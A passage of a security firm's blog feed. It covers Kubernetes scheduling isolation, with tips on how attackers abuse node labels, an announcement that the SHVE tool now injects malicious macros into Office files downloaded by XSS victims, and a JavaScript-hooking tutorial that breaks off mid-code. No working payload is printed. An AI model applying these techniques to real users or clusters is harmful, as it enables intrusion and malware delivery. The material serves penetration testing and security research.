&lt;p&gt;You can use topology spread constraints to control how pods are spread across your cluster among failure-domains such as regions, zones, nodes, and other user-defined topology domains. This can help to achieve high availability as well as efficient resource utilization.&lt;/p&gt;

&lt;h4 id=&quot;7-not-satisfied-custom-scheduler-to-the-rescue&quot;&gt;7. Not Satisfied? Custom Scheduler to the Rescue&lt;/h4&gt;

&lt;p&gt;Kubernetes by default uses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kube-scheduler&lt;/code&gt; which follows its own set of criteria for scheduling pods. While the default scheduler is versatile and offers a lot of options, there might be specific security requirements that the default scheduler might not know about. Writing a custom scheduler allows an organization to apply a risk-based scheduling to avoid pairing privileged pods with pods processing or accessing sensitive data.&lt;/p&gt;

&lt;p&gt;To create a custom scheduler, you would typically write a program that:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Watches for unscheduled pods&lt;/li&gt;
  &lt;li&gt;Implements a scheduling algorithm to decide on which node the pod should run&lt;/li&gt;
  &lt;li&gt;Communicates the decision to the Kubernetes API server.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some examples of a custom scheduler that can be adapted for this can be found at the following GH repositories: &lt;a href=&quot;https://github.com/kubernetes-sigs/scheduler-plugins&quot; target=&quot;_blank&quot;&gt;kubernetes-sigs/scheduler-plugins&lt;/a&gt; or &lt;a href=&quot;https://github.com/onuryilmaz/k8s-scheduler-example&quot; target=&quot;_blank&quot;&gt;onuryilmaz/k8s-scheduler-example&lt;/a&gt;.&lt;br /&gt;
Additionally, a good presentation on crafting your own is &lt;a href=&quot;https://www.youtube.com/watch?v=4TaHQgG9wEg&quot; target=&quot;_blank&quot;&gt;Building a Kubernetes Scheduler using Custom Metrics - Mateo Burillo, Sysdig&lt;/a&gt;. As mentioned in the talk, this is &lt;a href=&quot;https://youtu.be/4TaHQgG9wEg?t=544&quot; target=&quot;_blank&quot;&gt;not for&lt;/a&gt; &lt;a href=&quot;https://youtu.be/4TaHQgG9wEg?t=1140&quot; target=&quot;_blank&quot;&gt;the faint of heart&lt;/a&gt; because of the complexity and you might be better off just sticking with the default one if you are not already planning to build one.&lt;/p&gt;

&lt;h2 id=&quot;offensive-tips-scheduling-policies-are-like-magnets&quot;&gt;Offensive Tips: Scheduling Policies are like Magnets&lt;/h2&gt;

&lt;p&gt;As described, scheduling policies could be used to attract or repel pods into specific group of nodes.&lt;/p&gt;

&lt;p&gt;While a proper strategy reduces the blast radius of a compromised pod, there are still some aspects to take care of from the attacker perspective.
In specific cases, the implemented mechanisms could be used either to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Attract critical pods&lt;/strong&gt; - A compromised node or role able to edit the metadata could be abused to attract pods, which are interesting to the attacker, by manipulating the labels of a controlled node.&lt;br /&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;em&gt;Carefully review roles and internal processes that could be abused to edit the metadata. Verify the possibility for internal threats to exploit the attraction by influencing or changing the labels and taints&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Avoid rejection on critical nodes&lt;/strong&gt; - If users are supposed to submit pod specs or have indirect control over how they are dynamically structured, this could be abused with scheduling sections. An attacker able to submit pod Specs could use scheduling preferences to jump to a critical node.&lt;br /&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;em&gt;Always review the scheduling strategy to find out the options allowing pods to land on nodes hosting critical workloads. Verify if the user-controlled flows allow adding them or if the logic could be abused by some internal flow&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Prevent other workloads from being scheduled&lt;/strong&gt; - In some cases, knowing or reversing the applied strategy could allow a privileged attacker to craft pods to block legitimate workloads at the scheduling decision.
    &lt;ul&gt;
      &lt;li&gt;&lt;em&gt;Look for a potential mix of labels usable to lock the scheduling on a node&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bonus Section&lt;/strong&gt;: &lt;em&gt;Node labels security&lt;/em&gt;&lt;br /&gt;
Normally, the kubelet will still be able to modify labels for a node, potentially allowing a compromised node to tamper with its own labels to trick the scheduler as described above.&lt;/p&gt;

&lt;p&gt;A security measure could be applied with the &lt;a href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction&quot; target=&quot;_blank&quot;&gt;NodeRestriction&lt;/a&gt; admission plugin. It basically denies labels editing from the kubelet if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node-restriction.kubernetes.io/&lt;/code&gt; prefix is present in the label.&lt;/p&gt;

&lt;h2 id=&quot;wrap-up-time-to-make-the-scheduling-decision&quot;&gt;Wrap-up: Time to Make the Scheduling Decision&lt;/h2&gt;

&lt;p&gt;Security-wise, dedicated nodes for each namespace/service would constitute the best setup. However, the design would not exploit the Kubernetes capability to optimize computations.&lt;/p&gt;

&lt;p&gt;The following examples represent some trade-off choices:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Isolate critical namespaces/workloads on their own node group&lt;/li&gt;
  &lt;li&gt;Reserve a node for critical pods of each namespace&lt;/li&gt;
  &lt;li&gt;Deploy a completely independent cluster for critical namespaces&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The core concept for a successful approach is having a &lt;em&gt;set of reserved nodes for critical namespaces/workloads&lt;/em&gt;. Real world scenarios and complex designs require engineers to plan the fitting mix of mechanisms according to performance requirements and risk tolerance.&lt;/p&gt;

&lt;p&gt;This decision starts with defining the workloads’ risks:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Different teams, different trust level&lt;/strong&gt;&lt;br /&gt;
It’s not uncommon for large organizations to have multiple teams deploying to the same cluster. Different teams might have different levels of trustworthiness, training or access. This diversity can introduce varying levels of risks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Data being processed or stored&lt;/strong&gt;&lt;br /&gt;
Some pods may require mounting customer data or having persistent secrets to perform tasks. Sharing the node with any workload with less hardened workloads may expose the data to a risk&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Exposed network services on the same node&lt;/strong&gt;&lt;br /&gt;
Any pod that exposes a network service increases its attack surface. pods interacting with external-facing requests may suffer from this exposure and be more at risk of compromise.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;pod privileges and capabilities, or its assigned risk&lt;/strong&gt;&lt;br /&gt;
Some workloads may need some privileges to work or may run code that by its very nature processes potentially unsafe content or third-party vendor code. All these factors can contribute to increasing a workload’s assigned risk.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once the set of risks within the environment are found, decide the isolation level for teams/data/network traffic/capabilities. Grouping them, if they are part of the same process, could do the trick.&lt;/p&gt;

&lt;p&gt;At that point, the amount of workloads in each isolation group should be evaluable and ready to be addressed by mixing the scheduling strategies, according to the size and complexity of each group.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Simple environments should use simple strategies and avoid mixing too many mechanisms if few isolation groups and constraints are present.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Office Documents Poisoning in SHVE</title>
   <link href="https://blog.doyensec.com/2023/11/03/Office-Document-Poisoning.html"/>
   <updated>2023-11-03T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2023/11/03/Office-Document-Poisoning</id>
   <content type="html">&lt;p&gt;Hello, folks! We’re back with an exciting update on &lt;strong&gt;&lt;a href=&quot;https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/&quot;&gt;Session Hijacking Visual Exploitation (SHVE)&lt;/a&gt;&lt;/strong&gt; that introduces an insidious twist to traditional exploitation techniques using Office documents. We all know how Office documents laced with macros have been a longstanding entry point for infiltrating systems. SHVE now takes a step further by leveraging XSS vulnerabilities and the inherent trust users have in websites they regularly visit.&lt;/p&gt;

&lt;p&gt;Our newest feature integrates the concept of Office document poisoning. Here’s how it works: SHVE allows you to upload templates for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.docm&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pptm&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.xslm&lt;/code&gt; formats. Whenever a victim of SHVE goes to download one of these document types, the tool will automatically intercept and inject the malicious macros into the file before it is downloaded. What makes this technique particularly sneaky is that the document appears completely normal to the user, maintaining the original content and layout. However, in the background, it executes the malicious payload, unbeknownst to the user.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/office-poisoning.png&quot; alt=&quot;Office-Poisoning&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;This approach capitalizes on two critical aspects: the trust users have in documents they download from legitimate websites they visit, and the inherent dangers of macros embedded within Office documents. By combining these two elements, we create a subtle vector for delivering malicious payloads. It’s the wolf in sheep’s clothing, where everything looks as it should be, but the danger lurks within.&lt;/p&gt;

&lt;p&gt;To provide a clear demonstration of this technique, we’ve prepared a video illustrating this Office document poisoning in action. Witness how a seemingly innocent download can turn into a nightmare for the end user.&lt;/p&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;../../../public/images/SHVE-ui.png&quot;&gt;
    &lt;source src=&quot;../../../public/images/Office-Poisoning.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;

&lt;p&gt;As security researchers and ethical hackers, we need to constantly evolve and adapt our methods. With this update, SHVE not only allows for the exploitation of XSS vulnerabilities but also cleverly abuses the trust mechanisms users have built around their daily digital interactions. This enhancement is not just a step forward in terms of technical capability, but also a reminder of the psychological aspects of security exploitation.&lt;/p&gt;

&lt;p&gt;We’re eager to see how the community will leverage these new features in their penetration testing and red teaming engagements. As always, we welcome &lt;a href=&quot;https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/&quot;&gt;contributions&lt;/a&gt;, and we’re looking forward to your feedback and insights. Stay safe, and happy hacking!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Client-side JavaScript Instrumentation</title>
   <link href="https://blog.doyensec.com/2023/09/25/clientside-javascript-instrumentation.html"/>
   <updated>2023-09-25T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2023/09/25/clientside-javascript-instrumentation</id>
   <content type="html">&lt;p&gt;There is a ton of code that is not worth your time and brain power. Binary
reverse engineers commonly skip straight to the important code by using ltrace,
strace, or frida. You can do the same for client side JavaScript using only
common browser features. This will save time, make testing more fun and help
keep your attention span available for the code that deserves your focus.&lt;/p&gt;

&lt;p&gt;This blog introduces my thinking processes and practical methods for
instrumenting client side JavaScript. This processes have helped me to find
deeply embedded bugs in complicated codebases with relative ease. I have been
using many of these tricks for so long that I implemented them in a web
extension called &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/eval-villain/&quot;&gt;Eval
Villain&lt;/a&gt;. While I
will introduce you to some of Eval Villain’s brand new features, I will also show how
to get the same results without Eval Villain.&lt;/p&gt;

&lt;h2 id=&quot;general-method-and-thinking&quot;&gt;General Method and Thinking&lt;/h2&gt;

&lt;p&gt;Testing an application often raises questions as to how the application works.
The client must know the answers to some of these questions if the application
is to function. Consider the following questions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What parameters does the server accept?&lt;/li&gt;
  &lt;li&gt;How are parameters encoded/encrypted/serialized?&lt;/li&gt;
  &lt;li&gt;How does the wasm module affect the DOM?&lt;/li&gt;
  &lt;li&gt;Where are the DOM XSS sinks and what sanitization is being applied?&lt;/li&gt;
  &lt;li&gt;Where are the post message handlers?&lt;/li&gt;
  &lt;li&gt;How is cross-origin communication between ads being accomplished?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the web page to work, it needs to know the answer to these questions. This
means we can find our answers in the JavaScript too. Notice that each of these
questions imply the use of particular JavaScript functions. For example, how
would the client implement a post message handler without ever calling
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addEventListener&lt;/code&gt;? So “Step 1” is hooking these interesting functions,
verifying the use case is what we are interested in and tracing back. In
JavaScript, it would look like this:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;orig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;postMessage handler found&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// You can click the output of this to go directly to the handler&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Find where the handler was registered.&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;orig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Just pasting the above code in the console will work if the handler has not
already been registered. However, it is crucial to hook the function
before it’s even used. In the next section I will show a simple and practical way to
always win that race.&lt;/p&gt;

&lt;p&gt;Hooking native JavaScript is “Step 1”. This often helps you find interesting code.
Sometimes you will want to instrument that code but it’s non-native. This
requires a different method that will be covered in the “Step 2” section.&lt;/p&gt;

&lt;h2 id=&quot;step-1-hooking-native-javascript&quot;&gt;Step 1: Hooking native JavaScript&lt;/h2&gt;

&lt;h4 id=&quot;build-your-own-extension&quot;&gt;Build your own Extension&lt;/h4&gt;

&lt;p&gt;While you can use one of many web extensions that will add arbitrary JavaScript
to the page, I don’t recommend it. These extensions are often buggy, have race
conditions and are difficult to develop in. In most cases, I find it easier to
just write my own extension. Don’t be daunted, it is really easy. You only need
two files and I already made them for you &lt;a href=&quot;https://github.com/doyensec/webext_boilerplate/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To load the code in Firefox go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;about:debugging#/runtime/this-firefox&lt;/code&gt; in
the URL bar, click &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Load Temporary Add-on&lt;/code&gt; and navigate to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manifest.json&lt;/code&gt;
file in the top directory of the extension.&lt;/p&gt;

&lt;p&gt;For chrome, go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chrome://extensions/&lt;/code&gt;, enable developer mode in the right
side and click &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;load unpacked&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The extension should show up in the addon list, where you can quickly
enable or disable it. When enabled, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;script.js&lt;/code&gt; file will load in every web
page. The following lines of code log all input to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.write&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;	&lt;span class=&quot;cm&quot;&gt;/*********************************************************
	 ***  Your code goes goes here to run in pages scope  ***
	 *********************************************************/&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// example code to dump all arguments to document.write&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;write&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Proxy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;na&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_doc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`[**] document.write.apply arguments`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
					&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
				&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
			&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;groupEnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Reflect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/first_web_ext.png&quot; alt=&quot;Temporarily loaded web extention hooks document.write&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Replace those lines of code with what ever you want. Your code will run in
every page and frame before the page has the opportunity to run its own code.&lt;/p&gt;

&lt;h4 id=&quot;how-it-works&quot;&gt;How it works&lt;/h4&gt;

&lt;p&gt;The boiler plate uses the manifest file to register a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts&quot;&gt;content script&lt;/a&gt;.
The manifest tells the browser that the content script should run in every
frame and before the page loads. Content scripts do not have direct access to
the scope of the page they are loaded into but they do have direct access to
the DOM. So the boiler plate code just adds a new script into the pages DOM. A
CSP can prohibit this, so the extension checks that it worked. If a CSP does
block you, just disable the CSP with browser configs, a web extension or an
intercepting proxy.&lt;/p&gt;

&lt;p&gt;Notice that the instrumentation code ultimately ends up with the same
privileges as the website. So your code will be subject to the same
restrictions as the page. Such as the same origin policy.&lt;/p&gt;

&lt;h4 id=&quot;async-and-races&quot;&gt;Async and Races&lt;/h4&gt;

&lt;p&gt;A quick word of warning. The above content script will give you first access to
the only JavaScript thread. The website itself can’t run any JavaScript until
you give up that thread. Try it out, see if you can make a website that runs
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.write&lt;/code&gt; before the boiler plate has it hooked.&lt;/p&gt;

&lt;p&gt;First access is a huge advantage, you get to poison the environment that the
website is about to use. Don’t give up your advantage until you are done
poisoning. This means avoiding the use of async functions.&lt;/p&gt;

&lt;p&gt;This is why many web extensions intended to inject user JavaScript into a page
are buggy. Retrieving user configuration in a web extension is done using an
async call. While the async is looking up the user config, the page is running
its code and potentially has already executed the sink you wanted to hook.
This is why Eval Villain is only available on Firefox. Firefox has a unique
&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contentScripts/register&quot;&gt;API&lt;/a&gt;
that can register the content script with the user configuration.&lt;/p&gt;

&lt;h4 id=&quot;eval-villain&quot;&gt;Eval Villain&lt;/h4&gt;

&lt;p&gt;It is very rare that I run into a “Step 1” situation that can’t be solved with
Eval Villain. Eval Villain is just a content script that hooks sinks and
searches input for sources. You can configure almost any native JavaScript
functionality to be a sink. Sources include user configure strings or regular
expressions, URL parameters, local storage, cookies, URL fragment and window
name. These sources are recursively decoded for important substrings. Let’s look
at the same page of the example above, this time with Eval Villain in its default
configuration.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/instrumenting_js_1.png&quot; alt=&quot;Eval Villain example catching document.write DOM XSS&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Notice this page is being loaded from a local &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file://&lt;/code&gt;. The source code is
seen below.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;URLSearchParams&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;decodeURI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
